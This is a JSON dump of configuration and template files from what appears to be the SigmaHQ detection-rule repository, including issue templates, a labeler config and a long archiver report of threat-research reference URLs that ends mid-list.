[
{
"path": ".gitattributes",
"content": "# Set the default behavior, in case people don't have core.autocrlf set.\n* text=lf\n\n# Explicitly declare text files you want to always be normalized and converted\n# to native line endings on checkout.\n*.c text\n*.h text\n*.csv text\n*.sh text\n*.py text\n\n\n# Declare files that will always have CRLF line endings on checkout.\n*.sln text eol=crlf\n\n# Denote all files that are truly binary and should not be modified.\n*.png binary\n*.jpg binary\n\n# force lf for Sigma rule\n*.yml text eol=lf\n"
},
{
"path": ".github/FUNDING.yml",
"content": "# These are supported funding model platforms\n\ngithub: [thomaspatzke]\npatreon: # Replace with a single Patreon username\nopen_collective: # Replace with a single Open Collective username\nko_fi: # Replace with a single Ko-fi username\ntidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel\ncommunity_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry\nliberapay: # Replace with a single Liberapay username\nissuehunt: # Replace with a single IssueHunt username\notechie: # Replace with a single Otechie username\nlfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry\ncustom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']\n"
},
{
"path": ".github/ISSUE_TEMPLATE/false_positive_report.yml",
"content": "name: \"False Positive Report\"\ndescription: Report false positives with SIGMA rules\nlabels: [False-Positive]\nassignees:\n - nasbench\nbody:\n- type: input\n attributes:\n label: Rule UUID\n placeholder: \"f3be1b1d-eb3c-4ab1-b5e5-81e330fa2cd0\"\n description: |\n You can copy the rule id from the `id` field in the rule.\n validations:\n required: true\n\n- type: textarea\n attributes:\n label: Example EventLog\n description: An event log example of the false positive in question\n placeholder: |\n SubjectLogonId 0x1d3f2a \n NewProcessId 0x5f14 \n NewProcessName C:\\Windows\\System32\\dllhost.exe \n TokenElevationType %%1937 \n ProcessId 0x1270 \n CommandLine dllhost \n TargetUserSid S-1-0-0 \n TargetUserName - \n TargetDomainName - \n TargetLogonId 0x0 \n ParentProcessName C:\\Windows\\System32\\cmd.exe \n validations:\n required: true\n\n- type: textarea\n attributes:\n label: Description\n placeholder: This is just a placeholder description\n description: |\n Provide any additional information that you might think is helpful\n validations:\n required: true"
},
{
"path": ".github/ISSUE_TEMPLATE/rule_proposal.md",
"content": "---\nname: \"Rule Proposal\"\nabout: Rule Idea Proposal\ntitle: ''\nlabels: Rule\nassignees:\n - nasbench\n\n---\n\n### Description of the Idea of the Rule\n\n\n\n### Public References / Example Event Log\n\n\n"
},
{
"path": ".github/PULL_REQUEST_TEMPLATE.md",
"content": "\n\n### Summary of the Pull Request\n\n\n\n### Changelog\n\n\n\n### Example Log Event\n\n\n\n### Fixed Issues\n\n\n\n### SigmaHQ Rule Creation Conventions\n\n- If your PR adds new rules, please consider following and applying these [conventions](https://github.com/SigmaHQ/sigma-specification/blob/main/sigmahq/)\n"
},
{
"path": ".github/labeler.yml",
"content": "Rules:\n- changed-files:\n - any-glob-to-any-file:\n - 'deprecated/**'\n - 'rules/**'\n - 'rules-compliance/**'\n - 'rules-dfir/**'\n - 'rules-emerging-threats/**'\n - 'rules-placeholder/**'\n - 'rules-threat-hunting/**'\nEmerging-Threats:\n- changed-files:\n - any-glob-to-any-file: 'rules-emerging-threats/**'\nThreat-Hunting:\n- changed-files:\n - any-glob-to-any-file: 'rules-threat-hunting/**'\nMacOS:\n- changed-files:\n - any-glob-to-any-file:\n - 'rules/macos/**'\n - 'rules-compliance/macos/**'\n - 'rules-dfir/macos/**'\n - 'rules-emerging-threats/macos/**'\n - 'rules-placeholder/macos/**'\n - 'rules-threat-hunting/macos/**'\nWindows:\n- changed-files:\n - any-glob-to-any-file:\n - 'rules/windows/**'\n - 'rules-compliance/windows/**'\n - 'rules-dfir/windows/**'\n - 'rules-emerging-threats/windows/**'\n - 'rules-placeholder/windows/**'\n - 'rules-threat-hunting/windows/**'\nLinux:\n- changed-files:\n - any-glob-to-any-file:\n - 'rules/linux/**'\n - 'rules-compliance/linux/**'\n - 'rules-dfir/linux/**'\n - 'rules-emerging-threats/linux/**'\n - 'rules-placeholder/linux/**'\n - 'rules-threat-hunting/linux/**'\nMaintenance:\n- changed-files:\n - any-glob-to-any-file:\n - 'documentation/**'\n - 'tests/**'\n - '.github/**'\n - 'README.md'\n - 'Releases.md'\nReview Needed:\n- changed-files:\n - any-glob-to-any-file: '**'\n"
},
{
"path": ".github/latest_archiver_output.md",
"content": "# Reference Archiver Results\n\nLast Execution: 2026-03-01 02:19:10\n\n### Archiver Script Results\n\n\n#### Newly Archived References\n\nN/A\n\n#### Already Archived References\n\n- https://gtfobins.github.io/gtfobins/curl/\n- https://kostas-ts.medium.com/detecting-abuse-of-openedrs-permissive-edr-trial-a-security-researcher-s-perspective-fc55bf53972c\n- https://app.any.run/tasks/1efb3ed4-cc0f-4690-a0ed-24516809bc72/\n- https://thehackernews.com/2025/03/unpatched-windows-zero-day-flaw.html\n- https://medium.com/@boutnaru/the-windows-foreniscs-journey-run-mru-run-dialog-box-most-recently-used-57375a02d724\n- https://github.com/clearvector/lambda-spy\n- https://fourcore.io/blogs/threat-hunting-browser-credential-stealing\n- https://docs.python.org/2/library/simplehttpserver.html\n- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes\n- https://thedfirreport.com/2025/06/30/hide-your-rdp-password-spray-leads-to-ransomhub-deployment/\n- https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance\n- https://www.chrisfarris.com/post/effective-aws-ransomware/\n- https://github.com/dsnezhkov/TruffleSnout/blob/7c2f22e246ef704bc96c396f66fa854e9ca742b9/TruffleSnout/Docs/USAGE.md\n- https://nvd.nist.gov/vuln/detail/CVE-2025-2825\n- https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/\n- https://learn.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/328136827/config-user-group\n- https://github.com/swagkarna/Defeat-Defender-V1.2.0/tree/ae4059c4276da6f6303b8f53cdff085ecae88a91\n- https://medium.com/r3d-buck3t/red-teaming-in-cloud-leverage-azure-frontdoor-cdn-for-c2-redirectors-79dd9ca98178\n\n#### Error While Archiving References\n\n- http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/\n- https://www.linkedin.com/posts/mauricefielenbach_sharepoint-incidentresponse-windowssecurity-activity-7352653907363303425-bL2f\n- https://unicornofhunt.com/2025/05/22/When-Unicorns-Go-Quiet-BITS-Jobs-and-the-Art-of-Stealthy-Transfers/\n- https://www.huntress.com/blog/malicious-browser-extention-crashfix-kongtuke\n- https://www.trendmicro.com/en_gb/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)\n- https://goodworkaround.com/2022/02/15/digging-into-azure-ad-certificate-based-authentication/\n- https://www.cve.org/CVERecord?id=CVE-2024-1709\n- https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/\n- https://www.trendmicro.com/en_us/research/24/j/edrsilencer-disrupting-endpoint-security-solutions.html\n- https://unit42.paloaltonetworks.com/cve-2025-59287/\n- https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html\n- https://docs.aws.amazon.com/kms/latest/developerguide/ct-importkeymaterial.html\n- https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/integrations/aws/defense_evasion_ec2_flow_log_deletion\n- https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode\n- https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html\n- https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-database-transact-sql?view=sql-server-ver16\n- https://x.com/Wietze/status/1933495426952421843\n- https://paper.seebug.org/1495/\n- https://web.archive.org/web/20231015205935/https://githubmemory.com/repo/FunctFan/JNDIExploit\n- https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules\n- https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/\n- https://www.cisa.gov/stopransomware/ransomware-guide\n- https://web.archive.org/web/20211001064856/https://github.com/snovvcrash/DInjector\n- https://www.elastic.co/guide/en/security/current/potential-non-standard-port-ssh-connection.html\n- https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access\n- https://github.com/TwoSevenOneT/EDR-Freeze/blob/a7f61030b36fbde89871f393488f7075d2aa89f6/EDR-Freeze.cpp#L53\n- https://localtonet.com/documents/supported-tunnels\n- https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.eventing.reader.eventlogsession.clearlog?view=windowsdesktop-9.0&viewFallbackFrom=dotnet-plat-ext-5.0#System_Diagnostics_Eventing_Reader_EventLogSession_ClearLog_System_String_\n- https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7\n- https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/deploy-appcontrol-policies-with-memcm\n- https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/\n- https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/\n- https://learn.microsoft.com/en-us/entra/architecture/security-operations-applications#service-principal-assigned-to-a-role\n- https://tria.ge/241015-l98snsyeje/behavioral2\n- https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/\n- https://securelist.com/sidewinder-apt/114089/\n- https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L36\n- https://github.com/redcanaryco/atomic-red-team/blob/5f866ca4517e837c4ea576e7309d0891e78080a8/atomics/T1040/T1040.md#atomic-test-16---powershell-network-sniffing\n- https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)\n- https://www.joesandbox.com/analysis/1605063/0/html\n- https://syedhasan010.medium.com/forensics-analysis-of-an-lnk-file-da68a98b8415\n- https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/\n- https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool\n- https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin\n- https://intel.thedfirreport.com/eventReports/view/57\n- https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/\n- https://github.com/CoreyCBurton/DripLoaderNG\n- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/\n- https://www.hexacorn.com/blog/2023/12/31/1-little-known-secret-of-forfiles-exe/\n- https://www.microsoft.com/en-us/security/blog/2025/10/06/investigating-active-exploitation-of-cve-2025-10035-goanywhere-managed-file-transfer-vulnerability/\n- https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/configure\n- https://learn.microsoft.com/de-de/sysinternals/downloads/adexplorer\n- https://github.com/wietze/HijackLibs/tree/dc9c9f2f94e6872051dab58fbafb043fdd8b4176/yml/3rd_party/python\n- https://github.com/redcanaryco/atomic-red-team/blob/dd526047b8c399c312fee47d1e6fb531164da54d/atomics/T1112/T1112.yaml#L790\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/333889629/config-firewall-policy\n- https://www.virustotal.com/gui/file/e96a0c1bc5f720d7f0a53f72e5bb424163c943c24a437b1065957a79f5872675\n- http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/\n- https://github.com/trufflesecurity/trufflehog\n- https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/\n- https://www.linkedin.com/posts/huntress-labs_when-a-sketchy-incident-hits-your-network-activity-7304940371078238208-Th_l/?utm_source=share&utm_medium=member_desktop&rcm=ACoAAAJTlRcB28IaUtg03HUU-IdliwzoAL1flGc\n- https://github.com/TwoSevenOneT/EDR-Freeze\n- https://pentestlab.blog/2022/03/21/unconstrained-delegation/\n- https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/\n- https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/\n- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-deviceguard\n- https://github.com/0xBruno/WSUSploit.NET/tree/e239bce9d6b5f46a346e1e4c4d5e0a2a20d5c639\n- https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf\n- https://cardinalops.com/blog/the-art-of-anomaly-hunting-patterns-detection/\n- https://learn.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15\n- https://blogs.blackberry.com/en/2024/07/akira-ransomware-targets-the-latam-airline-industry\n- https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/\n- https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399\n- https://redfoxsec.com/blog/ipv6-dns-takeover/\n- https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4771\n- https://www.splunk.com/en_us/blog/security/msix-weaponization-threat-detection-splunk.html\n- https://unit42.paloaltonetworks.com/chromeloader-malware/\n- https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2\n- https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session\n- https://vipre.com/blog/svg-phishing-attacks-the-new-trick-in-the-cybercriminals-playbook/\n- https://app.any.run/tasks/69c5abaa-92ad-45ba-8c53-c11e23e05d04/\n- https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n- https://github.com/redcanaryco/atomic-red-team/blob/5ede8f21e42ebe37e0a6eff757dba60bcfa85859/atomics/T1547.001/T1547.001.md\n- https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.InternetExplorer::IZ_UNCAsIntranet\n- https://www.cyberciti.biz/faq/linux-remove-user-command/\n- https://x.com/cyberfeeddigest/status/1887041526397587859\n- https://github.com/Ylianst/MeshAgent/blob/52cf129ca43d64743181fbaf940e0b4ddb542a37/modules/win-dispatcher.js#L173\n- https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites\n- https://hunt.io/blog/macos-clickfix-applescript-terminal-phishing\n- https://support.microsoft.com/en-us/office/data-security-and-python-in-excel-33cc88a4-4a87-485e-9ff9-f35958278327\n- https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes\n- https://www.kernel.org/doc/html/v4.10/_sources/admin-guide/sysrq.txt\n- https://www.heise.de/en/news/Notepad-updater-installed-malware-11109726.html\n- https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776\n- https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/\n- https://securelist.com/key-group-ransomware-samples-and-telegram-schemes/114025/\n- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wkst/55118c55-2122-4ef9-8664-0c1ff9e168f3\n- http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/\n- https://github.com/netero1010/EDRSilencer/blob/0e73a7037ec65c52894d8208e6f605a7da0a34a6/EDRSilencer.c\n- https://github.com/splunk/security_content/blob/7283ba3723551f46b69dfeb23a63b358afb2cb0e/lookups/browser_app_list.csv?plain=1\n- https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteBucket.html\n- https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC\n- https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps\n- https://docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html\n- https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n- https://learn.microsoft.com/en-us/sql/t-sql/statements/truncate-table-transact-sql?view=sql-server-ver16\n- https://twitter.com/Kostastsale/status/1480716528421011458\n- https://www.fortiguard.com/psirt/FG-IR-22-398\n- https://www.virustotal.com/gui/search/behaviour_processes%253A%2522C%253A%255C%255CWindows%255C%255CSysWOW64%255C%255Cmore.com%2522%2520behaviour_processes%253A%2522C%253A%255C%255CWindows%255C%255CMicrosoft.NET%255C%255CFramework%255C%255Cv4.0.30319%255C%255Cvbc.exe%2522/files\n- http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/\n- https://dfir.ch/posts/linux_capabilities/\n- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html\n- https://www.cyberciti.biz/faq/how-force-kill-process-linux/\n- https://ss64.com/osx/sw_vers.html\n- https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection\n- https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vshadow/\n- https://www.fortinet.com/blog/threat-research/newly-discovered-function-in-darkside-ransomware-variant-targets-disk-partitions\n- https://blu.org/mhonarc/discuss/2001/04/msg00285.php\n- https://www.huntress.com/blog/attacking-mssql-servers-pt-ii\n- https://research.nccgroup.com/2018/11/22/turla-png-dropper-is-back/\n- https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware\n- https://docs.microsoft.com/en-us/sql/tools/bcp-utility\n- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteFlowLogs.html\n- https://lolbas-project.github.io/#/download\n- https://man7.org/linux/man-pages/man2/personality.2.html\n- https://research.checkpoint.com/2025/stealth-falcon-zero-day/\n- https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension\n- https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/\n- https://www.softperfect.com/products/networkscanner/\n- https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/\n- https://github.com/amidaware/tacticalrmm\n- https://redcanary.com/blog/threat-intelligence/intelligence-insights-october-2024/\n- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931\n- https://www.bleepingcomputer.com/news/security/hackers-exploit-windows-smartscreen-flaw-to-drop-darkgate-malware/\n- https://ngrok.com/blog-post/new-ngrok-domains\n- https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39\n- https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/configure-logging-in-iis\n- https://www.huntress.com/blog/gootloader-threat-detection-woff2-obfuscation\n- https://github.com/mhaskar/FsquirtCPLPoC\n- https://learn.microsoft.com/en-us/windows/wsl/install\n- https://web.archive.org/web/20221204161143/https://www.glitch-cat.com/p/green-lambert-and-attack\n- https://awscli.amazonaws.com/v2/documentation/api/2.14.0/reference/account/enable-region.html\n- https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability\n- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16\n- https://blog.checkpoint.com/research/filefix-the-new-social-engineering-attack-building-on-clickfix-tested-in-the-wild/\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/390485493/config-system-admin\n- https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix\n- https://naikordian.github.io/blog/posts/brute-force-aws-console/\n- https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n- https://cardinalops.com/blog/living-off-winrm-abusing-complexity-in-remote-management/\n- https://securelist.com/apt41-in-africa/116986/\n- https://tria.ge/231023-lpw85she57/behavioral2\n- https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html\n- https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/\n- https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/\n- https://github.com/0xthirteen/SharpMove/\n- https://www.group-ib.com/blog/apt41-world-tour-2021/\n- https://www.zscaler.fr/blogs/security-research/threat-actors-exploit-cve-2017-11882-deliver-agent-tesla\n- https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/\n- https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting\n- https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Delete%20K8S%20events/\n- https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/\n- https://github.com/ossec/ossec-hids/blob/f6502012b7380208db81f82311ad4a1994d39905/etc/rules/syslog_rules.xml\n- https://github.com/The-Viper-One/Invoke-PowerDPAPI/\n- https://suktech24.com/2025/07/17/aws-threat-detection-rule-guardduty-detector-disabled-or-suspended/\n- https://github.com/nasbench/Misc-Research/blob/2f651ede832ab34027a7ba005b63bb78f1ade378/Other/React-Next-Child-Processes-Notes.md\n- https://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/\n- https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware\n- https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#password-spray\n- https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/assoc\n- https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/#exfiltration\n- https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1903/W10_1903_Pro_20200714_18362.959/WEPExplorer/Microsoft-Windows-WindowsUpdateClient.xml\n- https://juggernaut-sec.com/capabilities/#cap_setgid\n- https://www.virustotal.com/gui/file/14d886517fff2cc8955844b252c985ab59f2f95b2849002778f03a8f07eb8aef\n- https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c\n- https://www.bleepingcomputer.com/news/security/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/\n- https://pwn.guide/free/web/crushftp\n- https://learn.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8.1\n- https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/\n- https://docs.aws.amazon.com/guardduty/latest/APIReference/API_UpdateDetector.html\n- https://learn.microsoft.com/it-it/powershell/module/exchangepowershell/set-inboxrule?view=exchange-ps\n- https://www.huntress.com/blog/silencing-the-edr-silencers\n- https://vmois.dev/query-signal-desktop-messages-sqlite/\n- https://tria.ge/231212-r1bpgaefar/behavioral2\n- https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/defense_evasion_guardduty_detector_deletion.toml\n- https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625\n- https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/\n- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd299871(v=ws.10)\n- https://redcanary.com/threat-detection-report/techniques/email-hiding-rules/\n- https://github.com/kh4sh3i/CVE-2025-32463/blob/81bb430f84fa2089224733c3ed4bfa434c197ad4/exploit.sh\n- https://www.pwndefend.com/2022/01/07/log4shell-exploitation-and-hunting-on-vmware-horizon-cve-2021-44228/\n- https://docs.aws.amazon.com/kms/latest/developerguide/ct-deleteimportedkeymaterial.html\n- https://feeds.alphasoc.net/bad-etlds.txt\n- https://www.mcafee.com/blogs/other-blogs/mcafee-labs/agent-teslas-unique-approach-vbs-and-steganography-for-delivery-and-intrusion/\n- https://ss64.com/nt/set.html\n- https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal\n- https://www.greynoise.io/blog/new-scraper-botnet-concentrated-in-taiwan\n- https://github.com/Arno0x/DNSExfiltrator/\n- https://x.com/wietze/status/1958302556033065292?s=12\n- https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns-exe.html\n- https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/\n- https://github.com/okta/workflows-templates/blob/1164f0eb71ce47c9ddc7d850e9ab87b5a2b42333/workflows/suspicious_activity_reported/readme.md\n- https://www.hexacorn.com/blog/2024/10/12/the-sweet16-the-oldbin-lolbin-called-setup16-exe/\n- https://research.splunk.com/endpoint/7215831c-8252-4ae3-8d43-db588e82f952\n- https://man7.org/linux/man-pages/man2/sysinfo.2.html\n- https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/devcon\n- https://twitter.com/th3_protoCOL/status/1536788652889497600\n- https://www.intrinsec.com/alphv-ransomware-gang-analysis/?cn-reloaded=1\n- https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/\n- https://www.loobins.io/binaries/xattr/\n- https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/what-is-applocker\n- https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1110.001/aws_login_failure/aws_cloudtrail_events.json\n- https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference\n- https://github.com/grayhatkiller/SharpExShell\n- https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe\n- https://learn.microsoft.com/it-it/powershell/module/exchangepowershell/new-inboxrule?view=exchange-ps\n- https://www.threatdown.com/blog/clipboard-hijacker-tries-to-install-a-trojan/\n- https://adsecurity.org/?p=3377\n- https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/managing-iis-log-file-storage\n- https://x.com/byrne_emmy12099/status/1932346420226658668\n- https://www.elastic.co/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes\n- https://moonlock.com/amos-backdoor-persistent-access\n- https://threatbook.io/blog/Analysis-of-APT-C-60-Attack-on-South-Korea\n- https://www.hexacorn.com/blog/2024/01/01/1-little-known-secret-of-hdwwiz-exe/\n- https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html\n- https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/\n- https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457\n- https://blog.axelarator.net/hunting-for-edr-freeze/\n- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9\n- https://communities.vmware.com/t5/VMware-Workstation-Pro/VMCI-driver-issues/td-p/2866060\n- https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/\n- https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/4/html/reference_guide/s3-proc-sys-kernel\n- https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md#atomic-test-3---create-hidden-user-in-registry\n- https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/109120963/config-user-local\n- https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx\n- http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/\n- https://www.coreycburton.com/blog/driploader-case-study\n- https://www.fortalicesolutions.com/posts/hiding-behind-the-front-door-with-azure-domain-fronting\n- https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/\n- https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d\n- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html\n- https://ss64.com/nt/schtasks.html\n- https://github.com/redcanaryco/atomic-red-team/blob/75fa21076dcefa348a7521403cdd6bfc4e88623c/atomics/T1082/T1082.md\n- https://cloud.google.com/logging/docs/audit/understanding-audit-logs\n- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd\n- https://darkatlas.io/blog/medusa-ransomware-group-opsec-failure\n- https://www.welivesecurity.com/en/eset-research/muddywater-snakes-riverbank/\n- https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/sysinfo-syscall/README.md\n- https://web.archive.org/web/20230929023836/http://powershellhelp.space/commands/set-netfirewallrule-psv5.php\n- https://www.virustotal.com/gui/file/14e722855605ba78dc1d21153f0e1be90e7528149f2cd2d7d6eba8ef27534bdc/behavior\n- https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211\n- https://github.com/TwoSevenOneT/WSASS\n- https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/\n- https://github.com/JohnHammond/recaptcha-phish\n- https://labs.nettitude.com/blog/introducing-sharpwsus/\n- http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/\n- https://redcanary.com/blog/threat-intelligence/msix-installers/\n- https://gtfobins.github.io/gtfobins/gawk/#shell\n- https://research.splunk.com/endpoint/76406a0f-f5e0-4167-8e1f-337fdc0f1b0c/\n- https://man7.org/linux/man-pages/man2/syslog.2.html\n- 